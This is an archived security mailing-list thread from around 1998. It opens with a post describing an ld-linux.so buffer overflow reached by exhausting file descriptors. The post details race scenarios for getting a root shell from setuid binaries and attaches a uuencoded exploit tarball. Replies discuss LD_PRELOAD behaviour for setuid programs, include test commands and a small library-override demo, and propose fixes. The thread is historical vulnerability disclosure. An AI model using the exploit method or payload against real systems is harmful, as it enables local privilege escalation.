Section I. Overview Hello, About a half year ago there was some rumour on bugtraq concerning a buffer overflow in Linux dynamic linkers, ld.so and ld-linux.so. You can take a look at the beginning of the thread at http://www.geek-girl.com/bugtraq/1997_3/0089.html to refresh old memories; I'll capitalize anyway. Briefly, there exists a buffer overrun in ld-linux.so versions 1.7.14, 1.8.2, 1.9.2 ( others <=1.9.2 probably too, I haven't tried ) . It occures in the procedure which formats an error message. The said procedure puts into a buffer argv[0], not checking its length. So, if we can force an error during dynamic linking of a suid program, we can smash the stack with argv[0] contents and gain extra priviledges. I haven't found anything on the net exploiting this vulnerability; as we'll see, it's not a trivial task. Worth an effort, though; enables us to rip a root shell out of any suid dynamically linked binary on the system ( sounds promising, doesn't it ). At the end of this message I enclosed a working exploit. Use it thougtfully. Anyway, it's a half-year-old hole, and everybody who installed latest version of linkers ( that is at least 1.9.5 ) cannot be hurt. I hope the enclosed exploit is interesting enough ( from theoretical point of view ) to be worth publishing, regardless of its being fairly outdated. Section II. Misc. 1) the said faulty procedure ( was it named fd_printf ? ) was copied almost verbatim from kernel function printk. In linux/kernel/printk.c line 161 we can find a tasty comment i = vsprintf(buf + 3, fmt, args); /* hopefully i < sizeof(buf)-4 */ In this case, buf is a static variable. In ld-linux.so buf is automatic. Oops... 2) as you surely know, ld-linux.so 1.9.2 is broken completely, as it deals with LD_PRELOAD variable even when linking a suid binary. An exploit based on this "feature" was composed by Dan McGuirk, I guess. In this article, we're not using this vulnerablity. 3) Julian Assange (proff@SUBURBIA.NET) mentioned on bugtraq that he was able to attack the linker with resource starvation ( for file descriptors ). I assume it was possible on a system with artificially lowered file descriptors limit; you can look at his a bit vague report at the URL mentioned at the beginning of this article. Anyway, the only thing in his article that resembles my approach is the keyword "resource starvation". Judge it yourself. Section III. General idea. To perform its job, dynamic linker must open a library file first. Let's try to prevent it. Section III.V :) Scenario 1. Before execing a suid program, we can use up all file descriptors available for a single process by simply opening any file 256-3 times ( descriptors 0,1,2 are open anyway ). But execve needs one unused descriptor to work - execve will fail, not giving ld-linux.so a chance to misbehave. Section IV. Scenario 2. We may create a race condition, gambling on the number of free file table entries. First, let's spawn 3 processes ( called eat_desc ) which will use up 256 descriptors each and sleep. Then we spawn simultaneosly another eat_desc and a program (called spawn.c ) which executes execl("/usr/bin/passwd",long_argv0,0). Of course we can utilize any other dynamically linked suid binary. Assuming that file table has 1024 entries ( default value ) the following scenario is possible: spawn.c executes /usr/bin/passwd. Immediately afterwards, a context switch occures, and the fourth eat_desc starts executing. It devours all remaining file table entries and goes to sleep. Another context switch and /usr/bin/passwd (formerly known as spawn.c ) executes. Dynamic linker cannot open /lib/libc.so.5 ( error: file table full ), cooks an error message, an overflows occures. Great. However, a standard shellcode is of no use in this case: we can't exec anything ( there is still no file table entries free ! ). Instead of giving up after first unsucesful exec, shellcode should first kill one of eat_desc processes, and then in a loop infinitely try to execute the program we wish to. This scenario is possible to accomplish ( I managed to once :) . Yet, it's ineffective. We can complicate it, assuring practically 100% success ratio. Section V. Scenario 3. Let's try to force a context switch immediately after spawn.c calls exec. spawn.c should open a file (called .lock ) receiving descriptor lock_fd and set a close-on-exec flag on it. Then spawn.c executes flock(lock_fd,LOCK_EX). Another program ( called noloop ) opens .lock and performs flock(noloop_fd,LOCK_EX) as well ( and goes to sleep). We also spawn a program called eat_time, which simply does for(;;);, generating some load on the machine. A great moment occures: spawn.c does execl("/usr/bin/passwd",long_arg0,0). As some load on the machine is imposed by eat_time, system call exec ( which is time-consuming) should use whole time quantum available for spawn.c ( now this process is passwd ),so a context switch is bound to happen. (If the attacked machine is extremely fast, we may need to spawn more then one eat_time to achieve this ). Noloop starts excuting. Spawn.c closed the descriptor lock_fd during exec it performed, so noloop can get out of flock it was sleeping on ( but not before spawn.c did exec - that's the trick). Now it's the time to devour all remaining file table entries. When control returns to passwd ( formerly known as spawn.c ), dynamic linker will generate an overflow. The rest resembles Scenario 2. Section VI. Additional notes to scenario 3 a) the whole scenario should be performed after we have used up almost all file table entries. 3 eat_desc should be spawned first, the fourth should devour all minus three entries. b) when noloop decides to eat remaining file table entries, it should first send SIGSTOP to passwd ( formerly known as spawn.c ). Then it can eat, not fearing a context switch. Finally, it sends SIGCONT to passwd. c) some synchronizing between noloop and spawn.c is neccessary - the latter should't exec /usr/bin/passwd before noloop has slept on the flock call. In my exploit it is done using signal SIGUSR1. Look at the code for details. d) scenario 3 won't work for linker version 1.7.3, which at the start does open("/dev/zero",O_RDONLY). It fails, but generated error message doesn't contain argv[0], so no overflow this time. Scenario 2 can work: context switch to the fourth eat_desc should happen after open("/dev/zero",...) call. Section VII. The exploit. Standard disclaimer applies. Probably it works best on an idle machine. More precidely, during the exploit execution the number of free file table entries should not be modified by any process other than eat*, noloop, spawn. You may need to change some default parameters, for instance the number of eat_time processes or eat_desc (the latter if your kernel file table size is greater then 1024 or the limit of file descriptors per process is less than 256 ). If the exploit doesn't work, you may experiment with DEFAULT_OFFSET in doit.sh Section VIII. Traditional closing unrelated mumbling One simple conclusion from the above musings - no buffer overflow is harmless. As usuall, I encourage any comments ( to be sent to nergal@icm.edu.pl ). I remind you that I'm still an unemployed student, which should be changed :) "That's all for now. I hope I managed to prove that exploiting buffer overflows should be an art." by now you should know this quotation. Save yourself, Nergal begin 644 linker-exploit.tgz M'XL(`%F2V#0``^U:_U/;RA'/K]9?L3%)8Q,A)'\#XOA-"9@,TP280.8U#:E' MED[V!4FGT4G8;B?_>W?O)&,"/%Y?!Y*VVDF0O+>WM[?:V_W<2;[@F26G3QZ2 M'-O>ZG;A"4"WM]4KKAVZ:MIJVP"]3J_GV%VGUP%PG':O_03L![6JH%QF;@KP M))TYW6V[T[E++N(RWIYIC'FW)J[`\/=C^^.QL='QR<#L\&MI&) MW)N"%0KOPK`VF9N-,AXQ^)-Q=OA^.#HYW!\\>VJL`0]@(?(4(M>;\IC1[TN6 M+B!P969"'GLBBEB<039E$(@P%#,>3R!$46/MFEK]PV?2PQ\G#FFW-F7BSF)X M=N+`L^L&HLSIR>ZO1R3V7=>6[KK*:M]D=>XP7VKS)1IZG_DR9"P!QV#>5,!A M`+'(IM0Z=9.$Q1+E4W!A-N4A,X'-DQ`7&_H%?_HF)"F3$O:R--S80]-B$0J1 MP#,U*>."AR%L[-#$^U?WK97[]LI]YTJ^?#:_]_F7'K&\AXLQ7/^]3N?N]=_K MZ/7?;3EV:\NA];^U5:W_1Z$U'GMA[C-X+3.?"VOZBW'%RF..W.N\P(NSD%C& MFL\"6C&[1Y]&'X:[^[MOW@U'!X?OAE#?9)FWF;A2SORZ$;D\;C2-?QHUCNN( MF_#5A(N^4:/5T>`P@'8?.+R&5K>+-R]?-HU:#5=EH_$5VP0NI,:-$4PX'GW8 M/SYZ]ZG9A,$`-IPFH/Y:+4A2'"1HH-DL34VH/^=0-X$W^]2:($^DC7I=_Z1! MO%!(UKAHTJ!7`HI[4PHVP+E-LG6K:.LVT78AFK@YBJG[;\!"R8AY@1/^BJQE MXS?CH9]_F7]_Y/J'5D^O?Z=GM]MMO?X[U?I_#+I:G&HY]ON/$G45_2P4N1=, M/O`8]^'_EN,4]=_NM;IJ_>-.H%K_CT%7^'^-S3TL.X!8'%&L!"Q;4L1N"&H? MH#%NG/NY-"'+TX3C-@_L_VA'_IZ3]_Y#5_][Z[SC=*_S?:745IVM7Z_\QZ-_&_Y)/,"G\ MIWL"XU)P'PA\8A+0^$-MDZ%Q+^"'7\!6($7K0'L0\3=H:S$G/D3\^.3]2NHQP" MC9292-0H2V_?UG/O^.CL^YZ4KE7/TG\M40_FU8J]6< MEFTOFX9OWY;\EMW97O*/CD_H1,6>[]B&H?(Z91\T>R2G+`P]X;//7V!@U,_G M;>=\[MGG\^T=O#K%M7T^'R.OU3V?]WIX/SZ?N\'YW&[A/Y;V,7>7E&-]QWB;>EV=>_1$$J-/=;L`$?=1I4=IKO3?;<070Z% M?(9R05#^+S)IO6]@TE44NPC-L2;12722BLF$,\K&,Y=.IP6,&;`Y\_(,T_*, M9U-@.?<'B*S@[YHH$1MY3$\+14(13RB3CYA,&E1)56TB0N0WB. M;>9SYL[K*P47^Z"*:P57\7V!-4S76G$YSH.56OO'RJ.2O5D>54RJ2G@P.AV> M'>R;H)IB[K&&LZ.K5,BR%Q(F_))!+B$2*2,8$'M8FJB4WUI-KX[D2M`;`);JC$>BI$ MAJXL#"3S4PR0#'=M9(_J!=J:#&<."MW87_"*+HEYE(@TH\B935D,C%YYJ'<7 M1FTBT$DS7$U]>C6\@<'H1Z<""J*>.QFZ/,H M8C['NW"AG&,L(T5/5K]8T5"G#)AO19I`EP6?5Q+.E[[FL\GD.CD#>Q_Y\?A[7]3,K5$U%'OKXC)EWH=[7 MV9@WT#JN%&E[Z#FC32HDUILJEE9?7]CZ]<5*=!'CY0`ZA*?7&Z6*ER^;].!U MN'P?D/1JX8M2AH-&+,*9-#`X32IYYK(>DI-PYEZRH$9XN6S`[L@/,>!SD M0HS`FWRM*RZ4849!90-T3D(=MGOAP\[QCWG M/ZU6URGP/]$6XG][JU>=_SP*#]V.JY19)V M8Y]P`M8R++*4G),\301!"A&'"\OX)'+$2C'XG/8CXYSJ?J;@1K@@_'')?02O M7HI((),*S!#(BRW#V!-1HK`(5L<]Q"9Y2FA/'67/W(5!AG#*[,N2N?STI(!D M^E.3/L(5F'@>;`AXQO&?Y2E>S`RR/",S=P.`$U M-)U?$CR9,(FV*DFA#>0CB@4*P%IS0O,,R!>=&@:%!=D9E\)EQ4:(C<'*H&G!)Y:9X.>IZLHD*D9E M,^5/-`VA::2B"W61AU&*OL=9?N4#8S$W,6#@$"Y8DNF045Z!PBL;&(X^N:78 M:QD>QEK(/4*EY$(5\@B38[730(\+L_BN"%+F,=J%**0*UY#J*X6=#8V=@SP, MZZI'1&[6FXJKKX^,\E,CO?N(U;!%'!IOSGXU-8ZG_G0ZAPM(#QC1#F7"](/1 MX-M44K3&U"@T65<#?LLX#.Y10<,2>&>I4O,"8T1B8*;+9BZ-XD,GRWA?]`SY M!8-ZRVZM;A9P*Y7BQF=65WLID48N[L:XVK4QS"QNIDX7C>7W23\Z45944445 M551111555%%%%5544445551111555%%%%5544445551111555%%%%554T4]$ *_P*/#@->`%```%54 ` end ---------------------------------------------------------------------------- There's another problem in ld-linux.so (and the a.out linker ld.so, too): it is possible to trick the linker into loading old version of a library if several versions are installed. This means that if you have upgraded your libc (or libdb, etc) after a security hole was discovered, updated /etc/ld.so.cache with ldconfig, and made sure the new version is used, it still might be possible for an attacker to force a setuid binary into using your old vulnerable version of the library, if you haven't removed it from the directories scanned by ldconfig. The problem is that ldconfig adds all versions of a library into the cache, and the linker itself doesn't give up if an error occurs. Normally the latest version is listed first, and it's the only one used. However, we can consume up the resources, so that the linker fails to load the latest version, and then free some resources before it tries to load an older one. This is similar to the stuff Rafal Wojtczuk was explaining here recently (actually, his post reminded me of this problem). Here's how to check for this problem: host:/lib# ls -l libc.so.5.4.* -rwxr-xr-x 1 root root 1861963 Mar 24 1997 libc.so.5.4.23* -rwxr-xr-x 1 bin bin 1849257 Aug 27 23:52 libc.so.5.4.38* host:/lib# chmod 700 libc.so.5.4.38 host:/lib# ldd /bin/ls libc.so.5 => /lib/libc.so.5.4.38 (0x119000) host:/lib# su user host:/lib$ ldd /bin/ls libc.so.5 => /lib/libc.so.5.4.23 (0x119000) The obvious fix would be to remove (chmod 0 is enough, chmod 700 isn't) all old versions after upgrading. The real fix would be either to patch the linker so it gives up on some errors (probably check for errno != ENOENT), or change the way shared library packages install themselves, in all Linux distributions that are affected. Signed, Solar Designer ---------------------------------------------------------------------------- In an attempt to save the world from disaster, Solar Designer wrote: > There's another problem in ld-linux.so (and the a.out linker ld.so, too): > it is possible to trick the linker into loading old version of a library > if several versions are installed. This means that if you have upgraded > your libc (or libdb, etc) after a security hole was discovered, updated > /etc/ld.so.cache with ldconfig, and made sure the new version is used, > it still might be possible for an attacker to force a setuid binary into > using your old vulnerable version of the library, if you haven't removed > it from the directories scanned by ldconfig. > > The problem is that ldconfig adds all versions of a library into the cache, > and the linker itself doesn't give up if an error occurs. Normally the > latest version is listed first, and it's the only one used. However, we > can consume up the resources, so that the linker fails to load the latest > version, and then free some resources before it tries to load an older one. It's much simpler than that: $ LD_PRELOAD=libdoesntexist /bin/su /bin/su: error in loading shared libraries libdoesntexist: cannot open shared object file: No such file or directory In other words, just use LD_PRELOAD. It is _not_ ignored on setuid binaries. (Something I wrote about the dangers of this some time ago): I linux (and the Solaris) dynamic linkers don't ignore LD_PRELOAD for setuid binaries. The documentation of the old (libc5, aka ld.so 1.8.1, 1.9 etc) said (incorrectly) that LD_PRELOAD was ignored when executing setuid binaries, and this is the behaviour I've always expected. But apparently the wisdom is that libraries that are installed on the system should be well written, and it should be safe for them to be specified in LD_PRELOAD. I am quite surprised by this attitude, and I think I've thought of 3 situations where this behaviour of the dynamic linkers may _possibly_ create security problems. I very much welcome responces from peope on this list. (Like: "Don't worry, you silly newbie, we know what we are doing" or "My god, this is a big concern" or anything in between). (If you don't believe the dynamic linkers ignore LD_PRELOAD on setuid bins, type "LD_PRELOAD=libdoesntexist /bin/su".) ********************** - Buffer overruns in global initialisers (C++). Suppose you've got a 10000+ line C++ library that does linguistic analysis of various languages. Now _somewhere_ in that library, someone on the project added the following code: class foo{ public: foo(){ char buf[10], *s=getenv("FOO"); if(s) strcpy(buf,s); // Buffer overrun, etc. // [more code here] } }; foo bar; // initialise this variable. (before main() is called) Having this library installed in any location in /usr/lib, or /lib (more general: any directory listed in /etc/ld.so.conf) will make your whole system vurnerable for attac. Again one may argue that libraries like this don't belong in /usr/lib. But you argue that way, then basically no big library belongs in /usr/lib. Again, not current practice. ********************** - Wrapper libraries that override important system functions. Because many of these wrapper libraries will be written based on the assumption that their code will not be part of any setuid binary, the wrapping functions are not "defensively programmed", and as such may well be vurnerable to buffer overruns etc. It may be argued that these libraries don't belong in /usr/lib etc, but the fact is that (maybe due to the misleading documentation) they currently often are. ********************** - Surprising results of name-overlaps. As an example, take another artificial-intelligence library that makes attempts at answering simple english questions. One friday afternoon the linguists added the function "crypt(const *char q)" that attempts to not give a straight answer to the question, but a cryptic one. Naturally, this question q is copied to a 80 byte-long array on the stack. Well, you get the idea: type LD_PRELOAD=libAI.so.2.3 /bin/su and su will eventually call crypt(key,salt), with key being the user-typed (max 128 chars, see getpass(3)) password. Should be root in there somewhere. In general: setuid binaries rely on many functions in system libraries. Some of these functions have names that also have meanings in other fields, and as such may be implemented in completely unrelated libraries. Because it is possible to trick the setuid binaries into using any library installed on the system, all these functions can potentially be called by setuid biaries, with 'interesting' effects. I don't want to imply that applies to your system at this moment -- all I want to say is that there _is_ a potential security problem. Thanks, -- joost witteveen, joostje@debian.org The upstream maintainer is allowed to do things different than Debian, but only if he has good reasons to do so. ---------------------------------------------------------------------------- > It's much simpler than that: > > $ LD_PRELOAD=libdoesntexist /bin/su > /bin/su: error in loading shared libraries > libdoesntexist: cannot open shared object file: No such file or directory > libraries that are installed on the system should be well written, > and it should be safe for them to be specified in LD_PRELOAD. > > I am quite surprised by this attitude, and I think I've thought of 3 > situations where this behaviour of the dynamic linkers may _possibly_ > create security problems. Is there a reason for this limited LD_PRELOAD support for setuid binaries, does something depend on it? It looks like this was done intentionally... Anyway, here's a patch for ld-linux.so 1.9.5 that I just did: --- boot1.c.orig Mon Jul 21 16:45:35 1997 +++ boot1.c Sat Feb 7 20:17:44 1998 @@ -525,7 +525,7 @@ else { _dl_secure = 1; - _dl_preload = _dl_getenv("LD_PRELOAD", envp); + _dl_unsetenv("LD_PRELOAD", envp); _dl_unsetenv("LD_AOUT_PRELOAD", envp); _dl_unsetenv("LD_LIBRARY_PATH", envp); _dl_unsetenv("LD_AOUT_LIBRARY_PATH", envp); (This is only to fix the LD_PRELOAD problem, not the load-old-version one.) Signed, Solar Designer ---------------------------------------------------------------------------- >>>>> "Solar" == Solar Designer writes: Solar> Is there a reason for this limited LD_PRELOAD support for setuid binaries, Solar> does something depend on it? It looks like this was done intentionally... Yes. SOCKSifying stupid protocols that require binding ports <1024, for example. Assuming you install libsocks5_sh.so in /usr/lib, you can do: $ (export LD_PRELOAD=/usr/lib/libsocks5_sh.so; rsh machine.outside.firewall pwd) and have it work. This is basically what the runsocks script does. -- Carson Gaspar -- carson@cs.columbia.edu carson@tla.org carson@cugc.org ---------------------------------------------------------------------------- > Yes. SOCKSifying stupid protocols that require binding ports <1024, for > example. Assuming you install libsocks5_sh.so in /usr/lib, you can do: > > $ (export LD_PRELOAD=/usr/lib/libsocks5_sh.so; rsh machine.outside.firewall > pwd) > > and have it work. This is basically what the runsocks script does. Another example: installing a library that overides mktemp, tempnam and other dangerous library functions with more secure ones. So the feature is indeed useful. The correct behavior should be for the dynamic linker to give up at the first error. Alternatively you should be able to configure such libraries via the configuration file instead of an environment variable. You cant do so now as far as I can tell. > -- > Carson Gaspar -- carson@cs.columbia.edu carson@tla.org carson@cugc.org > http://www.cs.columbia.edu/~carson/home.html > Queen Trapped in a Butch Body > Aleph One / aleph1@dfw.net ---------------------------------------------------------------------------- On Sat, 7 Feb 1998, joost witteveen wrote: [quotes and other stuff deleted. Please refer to the original postings.] > It's much simpler than that: > > $ LD_PRELOAD=libdoesntexist /bin/su > /bin/su: error in loading shared libraries > libdoesntexist: cannot open shared object file: No such file or directory > > In other words, just use LD_PRELOAD. It is _not_ ignored on setuid binaries. Either you are using an old ld-linux.so or your /bin/su is not suid root. I believe you should upgrade. To test your system, try this: Compile both "hack" and "libhack", set LD_PRELOAD (and do 'export LD_PRELOAD'!) to the shared library and test "hack" set and unset suid-root. The result is what the docs promise, tested with ld-linux.so.1.9.6. Another reaction should be considered reason to upgrade or reinstall. Btw: Its error output looks like this: rzlin1:/tmp/roman $ export LD_PRELOAD=/tmp/roman/foo rzlin1:/tmp/roman $ ls ls: can't load library '/tmp/roman/foo' rzlin1:/tmp/roman $ /*- hack.c -- gcc -o hack hack.c ------------------------------*/ #include int main() { FILE *fd; setuid(geteuid()); fd=fopen("/dev/null","r"); if(fd) printf("File could be opened. Shared lib not loaded.\n"); exit(0); } /*-- end hack.c ------------------------------------------------*/ /*-- hacklib.c (the shared lib) -- gcc -shared -o libhack.so hacklib.c --*/ /* For Solaris: cc -G -o libhack.so hacklib.c */ #include #include FILE *fopen(const char *filename, const char *mode) { printf("shared library loaded. uid: %i euid: %i \n",getuid(),geteuid()); /* Lots of evil stuff in here. Use your imagination. */ errno=-EINVAL; return NULL; } /*-- end hacklib.c --------------------------------------------------*/ > (Something I wrote about the dangers of this some time ago): > > > I linux (and the Solaris) dynamic linkers don't ignore Sun Microsystems have solved this problem with Solaris years ago. > LD_PRELOAD for setuid binaries. The documentation of the > old (libc5, aka ld.so 1.8.1, 1.9 etc) said (incorrectly) that LD_PRELOAD > was ignored when executing setuid binaries, and this is the behaviour > I've always expected. > > But apparently the wisdom is that > libraries that are installed on the system should be well written, > and it should be safe for them to be specified in LD_PRELOAD. > I am quite surprised by this attitude, and I think I've thought of 3 > situations where this behaviour of the dynamic linkers may _possibly_ > create security problems. Impressive. Anyway, you are definitely right. > I very much welcome responces from peope on this list. (Like: > "Don't worry, you silly newbie, we know what we are doing" [snip] > (If you don't believe the dynamic linkers ignore LD_PRELOAD on setuid bins, > type "LD_PRELOAD=libdoesntexist /bin/su".) See example above. Either your /bin/su is not suid root or your software is too old. [snip] > at this moment -- all I want to say is that there _is_ a potential security > problem. > > Thanks, There is a risk: ld-linux.so will respect LD_PRELOAD if you execute a suid-root binary if you are root already. As root, this makes it easy to use safer libraries instead of the standard ones, as Aleph pointed out. (But why would one install `unsafe' libraries then?) Undoubtedly, the feature can be of good use. > -- > joost witteveen, joostje@debian.org Greets, Roman. _ _ | Roman Drahtmueller Death is God's way | CC University of Freiburg of telling you not to | email: roman@rzlin1.ruf.uni-freiburg.de be such a wise guy. | - - ---------------------------------------------------------------------------- There is been some confusion over the whole LD_PRELOAD thread. Hopefully this will clear things up. The are two dynamic linkers used by the Linux community, the old ld (ld-linux.so.1) maintained by David Engle and the newer ld part of the GNU libc (aka glibc aka libc6). ld-linux used to not ignore LD_PRELOAD and LD_LIBRARY_PATH for setuid/gid programs. This changed in version 1.6.7 and was further refined in 1.7.6 and 1.7.11. That version changed ld-linux.so to delete all variations of LD_PRELOAD and LD_LIBRARY_PATH for set[ug]id programs. This changed in version 1.9.0. That version changed ld-linux.so to load the libraries listed in LD_PRELOAD for setuid/gid programs as long as they could be loaded securely. "Securely" means that the libraries in LD_PRELOAD must not contain '/' in them and therefore will be loaded from the configured library directories (/lib, /usr/lib, etc) and not from a user supplied one. The GNU dynamic linker in a similar move ignored LD_PRELOAD for setuid/guid binaries. Ulrich Drepper changed it to allow loading "securely" libraries from LD_PRELOAD for setuid/gid programs on Jan 20, 1997 (version???). Solaris 2 has the same behavior of loading "securely" libraries listed on LD_PRELOAD for setuid/gid binaries. I would expect many other operating systems to do the same. This system is vulnerable to an attacker preloading an old library with known vulnerabilities that has not been deleted from the library directory while running a setuid/gid program. The correct solution is to ignore LD_PRELOAD for setuid/gid program and use /etc/ld.so.preload for global preload libraries. ld.so.preload was introduced in version 1.8.0 of ld-linux and is part of almost every other ld. Aleph One / aleph1@dfw.net ---------------------------------------------------------------------------- On Tue, 10 Feb 1998, Aleph One wrote: > The GNU dynamic linker in a similar move ignored LD_PRELOAD for > setuid/guid binaries. Ulrich Drepper changed it to allow loading > "securely" libraries from LD_PRELOAD for setuid/gid programs on Jan 20, > 1997 (version???). ... Move that was debated to death on glibc mailing lists. At Red Hat we have patched out that "feature". The updated glibc we provide on our updates dir ignores LD_PRELOAD for setuid/giod programs unless they are run by root. > The correct solution is to ignore > LD_PRELOAD for setuid/gid program Amen! :-) Cristian -- ----------------------------------------------------------------------